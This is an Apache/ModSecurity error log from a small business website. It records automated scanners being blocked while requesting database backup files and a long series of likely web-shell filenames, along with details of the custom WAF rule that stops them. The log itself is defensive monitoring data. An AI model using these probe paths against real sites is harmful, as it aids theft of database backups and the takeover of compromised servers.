[Mon Apr 27 02:43:22.122922 2026] [:error] [pid 8385:tid 8435] [client 35.178.52.91:55688] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/sql/backup.sql"] [unique_id "ae5cyjOy7_J84Wx3-oz7YAAAAEs"]
[Mon Apr 27 02:43:25.018679 2026] [:error] [pid 8491:tid 8524] [client 35.178.52.91:55875] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/db/backup.sql"] [unique_id "ae5czSq7I7e6CJooQM1EFAAAANg"]
[Mon Apr 27 02:43:29.965503 2026] [:error] [pid 13137:tid 13155] [client 35.178.52.91:56173] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/database/backup.sql"] [unique_id "ae5c0d0RB4J0o4h5neHaLAAAAg4"]
[Mon Apr 27 03:50:06.285544 2026] [:error] [pid 57732:tid 57756] [client 89.163.146.197:52220] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php, referer: www.google.com
[Mon Apr 27 03:50:13.921798 2026] [:error] [pid 57732:tid 57749] [client 89.163.146.197:60471] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php, referer: www.google.com
[Mon Apr 27 04:47:04.233761 2026] [:error] [pid 22751:tid 22762] [client 172.212.183.249:61700] File does not exist: /usr/local/apache/htdocs/suspended-page/class-t.api.php
[Mon Apr 27 04:47:04.423811 2026] [:error] [pid 22751:tid 22766] [client 172.212.183.249:61700] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Mon Apr 27 04:47:04.911522 2026] [:error] [pid 22751:tid 22769] [client 172.212.183.249:61700] File does not exist: /usr/local/apache/htdocs/suspended-page/class19.php
[Mon Apr 27 04:47:05.107519 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:61700] File does not exist: /usr/local/apache/htdocs/suspended-page/class20.php
[Mon Apr 27 04:47:05.302117 2026] [:error] [pid 22751:tid 22773] [client 172.212.183.249:61700] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Mon Apr 27 04:47:05.492595 2026] [:error] [pid 22751:tid 22774] [client 172.212.183.249:61700] File does not exist: /usr/local/apache/htdocs/suspended-page/randkeyword.php
[Mon Apr 27 04:47:06.167638 2026] [:error] [pid 22751:tid 22757] [client 172.212.183.249:61700] File does not exist: /usr/local/apache/htdocs/suspended-page/fwe.php
[Mon Apr 27 04:47:07.047266 2026] [:error] [pid 22751:tid 22766] [client 172.212.183.249:61700] File does not exist: /usr/local/apache/htdocs/suspended-page/g.php
[Mon Apr 27 04:47:07.235028 2026] [:error] [pid 22751:tid 22753] [client 172.212.183.249:61700] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx1.php"] [unique_id "ae55yyc0tCpVyVdFok986wAAAMA"]
[Mon Apr 27 04:47:08.294077 2026] [:error] [pid 22751:tid 22776] [client 172.212.183.249:62640] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx1.php"] [unique_id "ae55zCc0tCpVyVdFok988QAAANY"]
[Mon Apr 27 04:47:09.235013 2026] [:error] [pid 22645:tid 22667] [client 172.212.183.249:62637] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx1.php"] [unique_id "ae55zX-Pq2r302zQbMaPHQAAAAw"]
[Mon Apr 27 04:47:14.649004 2026] [:error] [pid 22645:tid 22678] [client 172.212.183.249:62625] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx1.php"] [unique_id "ae550n-Pq2r302zQbMaPIwAAABc"]
[Mon Apr 27 04:47:15.582550 2026] [:error] [pid 22647:tid 22734] [client 172.212.183.249:62621] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xv.php"] [unique_id "ae5502jfVULTjnk5SzN4jgAAAJg"]
[Mon Apr 27 04:47:16.257563 2026] [:error] [pid 22751:tid 22758] [client 172.212.183.249:62631] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xv.php"] [unique_id "ae551Cc0tCpVyVdFok99DwAAAMQ"]
[Mon Apr 27 04:47:17.209977 2026] [:error] [pid 22646:tid 22689] [client 172.212.183.249:62584] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xv.php"] [unique_id "ae551Yk_HyZhTP6AYadxpQAAAEY"]
[Mon Apr 27 04:47:18.826323 2026] [:error] [pid 22751:tid 22774] [client 172.212.183.249:62654] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xv.php"] [unique_id "ae551ic0tCpVyVdFok99FgAAANQ"]
[Mon Apr 27 04:47:19.888998 2026] [:error] [pid 22751:tid 22759] [client 172.212.183.249:62575] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x56.php"] [unique_id "ae551yc0tCpVyVdFok99GgAAAMU"]
[Mon Apr 27 04:47:20.893416 2026] [:error] [pid 22645:tid 22659] [client 172.212.183.249:62632] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x56.php"] [unique_id "ae552H-Pq2r302zQbMaPJgAAAAQ"]
[Mon Apr 27 04:47:22.227576 2026] [:error] [pid 22751:tid 22774] [client 172.212.183.249:62646] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x56.php"] [unique_id "ae552ic0tCpVyVdFok99HwAAANQ"]
[Mon Apr 27 04:47:23.767009 2026] [:error] [pid 22646:tid 22694] [client 172.212.183.249:62565] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x56.php"] [unique_id "ae5524k_HyZhTP6AYadxtAAAAEs"]
[Mon Apr 27 04:47:25.380592 2026] [:error] [pid 22647:tid 22721] [client 172.212.183.249:62535] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htaccess.php"] [unique_id "ae553WjfVULTjnk5SzN4ngAAAIs"]
[Mon Apr 27 04:47:26.355125 2026] [:error] [pid 22646:tid 22706] [client 172.212.183.249:62544] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htaccess.php"] [unique_id "ae553ok_HyZhTP6AYadxvQAAAFc"]
[Mon Apr 27 04:47:27.389189 2026] [:error] [pid 22647:tid 22726] [client 172.212.183.249:62598] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htaccess.php"] [unique_id "ae5532jfVULTjnk5SzN4qAAAAJA"]
[Mon Apr 27 04:47:28.926035 2026] [:error] [pid 22751:tid 22772] [client 172.212.183.249:62556] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/htaccess.php"] [unique_id "ae554Cc0tCpVyVdFok99KgAAANI"]
[Mon Apr 27 04:47:29.793425 2026] [:error] [pid 22751:tid 22754] [client 172.212.183.249:62533] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/readme.php"] [unique_id "ae554Sc0tCpVyVdFok99LwAAAME"]
[Mon Apr 27 04:47:30.580916 2026] [:error] [pid 22646:tid 22705] [client 172.212.183.249:62622] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/readme.php"] [unique_id "ae554ok_HyZhTP6AYadxywAAAFY"]
[Mon Apr 27 04:47:32.171798 2026] [:error] [pid 22645:tid 22667] [client 172.212.183.249:62595] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/readme.php"] [unique_id "ae555H-Pq2r302zQbMaPNwAAAAw"]
[Mon Apr 27 04:47:33.651072 2026] [:error] [pid 22751:tid 22771] [client 172.212.183.249:61697] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/readme.php"] [unique_id "ae555Sc0tCpVyVdFok99RAAAANE"]
[Mon Apr 27 04:47:34.495189 2026] [:error] [pid 22751:tid 22763] [client 172.212.183.249:61699] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x50.php"] [unique_id "ae555ic0tCpVyVdFok99RgAAAMk"]
[Mon Apr 27 04:47:35.338532 2026] [:error] [pid 22751:tid 22762] [client 172.212.183.249:62586] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x50.php"] [unique_id "ae555yc0tCpVyVdFok99SAAAAMg"]
[Mon Apr 27 04:47:37.221621 2026] [:error] [pid 22645:tid 22670] [client 172.212.183.249:61638] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x50.php"] [unique_id "ae556X-Pq2r302zQbMaPPAAAAA8"]
[Mon Apr 27 04:47:39.089372 2026] [:error] [pid 22646:tid 22705] [client 172.212.183.249:62543] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x50.php"] [unique_id "ae5564k_HyZhTP6AYadx4QAAAFY"]
[Mon Apr 27 04:47:39.968578 2026] [:error] [pid 22645:tid 22665] [client 172.212.183.249:61749] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fv.php"] [unique_id "ae5563-Pq2r302zQbMaPPgAAAAo"]
[Mon Apr 27 04:47:41.008967 2026] [:error] [pid 22647:tid 22730] [client 172.212.183.249:62562] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fv.php"] [unique_id "ae557WjfVULTjnk5SzN5CQAAAJQ"]
[Mon Apr 27 04:47:41.868339 2026] [:error] [pid 22645:tid 22678] [client 172.212.183.249:62643] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fv.php"] [unique_id "ae557X-Pq2r302zQbMaPQAAAABc"]
[Mon Apr 27 04:47:43.095623 2026] [:error] [pid 22751:tid 22777] [client 172.212.183.249:62540] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fv.php"] [unique_id "ae557yc0tCpVyVdFok99XgAAANc"]
[Mon Apr 27 04:47:44.325343 2026] [:error] [pid 22646:tid 22685] [client 172.212.183.249:62635] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ae558Ik_HyZhTP6AYadx7wAAAEI"]
[Mon Apr 27 04:47:45.379088 2026] [:error] [pid 22751:tid 22765] [client 172.212.183.249:62561] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ae558Sc0tCpVyVdFok99ZAAAAMs"]
[Mon Apr 27 04:47:46.273592 2026] [:error] [pid 22645:tid 22674] [client 172.212.183.249:62536] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ae558n-Pq2r302zQbMaPSAAAABM"]
[Mon Apr 27 04:47:47.166071 2026] [:error] [pid 22751:tid 22755] [client 172.212.183.249:62642] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "ae558yc0tCpVyVdFok99aAAAAMI"]
[Mon Apr 27 04:47:48.654165 2026] [:error] [pid 22645:tid 22660] [client 172.212.183.249:62568] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lsd.php"] [unique_id "ae559H-Pq2r302zQbMaPSwAAAAU"]
[Mon Apr 27 04:47:49.983773 2026] [:error] [pid 22647:tid 22712] [client 172.212.183.249:62623] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lsd.php"] [unique_id "ae559WjfVULTjnk5SzN5LQAAAII"]
[Mon Apr 27 04:47:53.449340 2026] [:error] [pid 22647:tid 22731] [client 172.212.183.249:61698] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lsd.php"] [unique_id "ae55-WjfVULTjnk5SzN5OAAAAJU"]
[Mon Apr 27 04:47:54.971633 2026] [:error] [pid 22751:tid 22761] [client 172.212.183.249:62641] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lsd.php"] [unique_id "ae55-ic0tCpVyVdFok99eQAAAMc"]
[Mon Apr 27 04:47:56.771774 2026] [:error] [pid 22647:tid 22717] [client 172.212.183.249:61702] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "ae55_GjfVULTjnk5SzN5RQAAAIc"]
[Mon Apr 27 04:47:59.146907 2026] [:error] [pid 22646:tid 22705] [client 172.212.183.249:62566] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "ae55_4k_HyZhTP6AYadyGQAAAFY"]
[Mon Apr 27 04:48:00.438769 2026] [:error] [pid 22646:tid 22698] [client 172.212.183.249:62624] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "ae56AIk_HyZhTP6AYadyHwAAAE8"]
[Mon Apr 27 04:48:01.378473 2026] [:error] [pid 22647:tid 22724] [client 172.212.183.249:62574] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/as.php"] [unique_id "ae56AWjfVULTjnk5SzN5UwAAAI4"]
[Mon Apr 27 04:48:02.311504 2026] [:error] [pid 22751:tid 22761] [client 172.212.183.249:62582] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsd.php"] [unique_id "ae56Aic0tCpVyVdFok99jgAAAMc"]
[Mon Apr 27 04:48:02.853253 2026] [:error] [pid 22646:tid 22686] [client 172.212.183.249:62570] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsd.php"] [unique_id "ae56Aok_HyZhTP6AYadyJwAAAEM"]
[Mon Apr 27 04:48:03.740374 2026] [:error] [pid 22751:tid 22776] [client 172.212.183.249:62591] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsd.php"] [unique_id "ae56Ayc0tCpVyVdFok99lgAAANY"]
[Mon Apr 27 04:48:04.380538 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:62564] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wsd.php"] [unique_id "ae56BCc0tCpVyVdFok99lwAAANU"]
[Mon Apr 27 04:48:05.079361 2026] [:error] [pid 22647:tid 22728] [client 172.212.183.249:61731] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gtc.php"] [unique_id "ae56BWjfVULTjnk5SzN5XAAAAJI"]
[Mon Apr 27 04:48:05.761007 2026] [:error] [pid 22647:tid 22727] [client 172.212.183.249:62605] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gtc.php"] [unique_id "ae56BWjfVULTjnk5SzN5XQAAAJE"]
[Mon Apr 27 04:48:07.544346 2026] [:error] [pid 22751:tid 22771] [client 172.212.183.249:61705] File does not exist: /usr/local/apache/htdocs/suspended-page/gtc.php
[Mon Apr 27 04:48:08.314557 2026] [:error] [pid 22751:tid 22771] [client 172.212.183.249:61705] File does not exist: /usr/local/apache/htdocs/suspended-page/atx.php
[Mon Apr 27 04:48:08.510970 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:61705] File does not exist: /usr/local/apache/htdocs/suspended-page/z60.php
[Mon Apr 27 04:48:08.701275 2026] [:error] [pid 22751:tid 22766] [client 172.212.183.249:61705] File does not exist: /usr/local/apache/htdocs/suspended-page/403.php
[Mon Apr 27 04:48:09.118892 2026] [:error] [pid 22751:tid 22770] [client 172.212.183.249:61705] File does not exist: /usr/local/apache/htdocs/suspended-page/m.php
[Mon Apr 27 04:48:09.317632 2026] [:error] [pid 22751:tid 22757] [client 172.212.183.249:61705] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Mon Apr 27 04:48:10.009971 2026] [:error] [pid 22751:tid 22769] [client 172.212.183.249:61705] File does not exist: /usr/local/apache/htdocs/suspended-page/click.php
[Mon Apr 27 04:48:10.246844 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:61705] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Mon Apr 27 04:48:10.447956 2026] [:error] [pid 22751:tid 22768] [client 172.212.183.249:61705] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
